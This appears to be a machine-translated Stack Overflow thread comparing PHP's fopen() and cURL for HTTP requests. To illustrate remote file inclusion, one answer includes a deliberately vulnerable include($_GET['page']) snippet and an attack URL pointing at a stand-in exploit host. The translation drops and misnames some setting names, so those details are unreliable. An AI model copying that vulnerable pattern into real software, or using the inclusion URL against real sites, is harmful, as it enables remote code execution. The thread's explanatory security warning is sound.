2009-03-11 11 views
5

私はHTTP経由でWebサービスに話す必要があるいくつかのコードを書いています。過去に私はカールライブラリを使用しました。最近、私は単にリモートURLにアクセスするためにfopen()を使うことができることに気付きました。

カールは設定が豊富で、多くのオプションがあります。その設定可能性を超えて、どのメソッドが使用されるかは重要ですか?もしそうなら、どちらがより良いのでしょうか?

答えて

13

fopen()は、が有効になっている場合にのみ、php.iniにリモートURLを開きます。

include関数もをダウンロードし、リモートサイトから PHPコードを解析するため、これは5.2.0より前のバージョンでは非常に危険でした。素朴なコーダは簡単のようなコードで見破らことができます:攻撃者は、単にシステム上で自分のコードを実行し、活用を紹介するhttp://example.com/script.php?page=http://example.net/my_exploit_scriptをお願いしてい

<?php 
    $page = $_GET['page']; 
    include($page); 
?> 

その時点で。残念ながら、allow_fopen_urlのデフォルト値は 'on'です。

幸い、5.2.0以降(が「オフ」にデフォルトがなければならない)、リモートコードのダウンロードからincludeを防ぐallow_url_includeと呼ばれる個別の設定があります。

Curlを使用するオプションがある場合は、fopenではなく、それを使用してください。

+0

良い徹底的な答え+1 – alex

15

Alnitak氏によると、CURLの使用はPHPの設定に依存しません。私は私の

function file_get_contents_curl($url) { 
    $ch = curl_init(); 

    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_URL, $url); 

    $data = curl_exec($ch); 
    curl_close($ch); 

    return $data; 
} 

結果といくつかの速度のテスト

file_get_contents 

をやった :

0.263456821442 
0.0626730918884 

CURLは4倍高速です:)

+0

感謝。良い答え+1 – alex

+0

私が探していたもの。 +1 – Domenic

5

サイドノート:PHPをすることができ「独自の」実装を使用する代わりにhttp url_wrapperにcurlを使用するように構成されています。

EXT /カール/ interface.c:スピードテストの

#ifdef PHP_CURL_URL_WRAPPERS 
# if HAVE_CURL_VERSION_INFO 
    { 
     curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); 
     char **p = (char **)info->protocols; 

     while (*p != NULL) { 
      php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); 
     } 
    } 
# else 
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); 
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); 
# endif 
#endif
関連する問題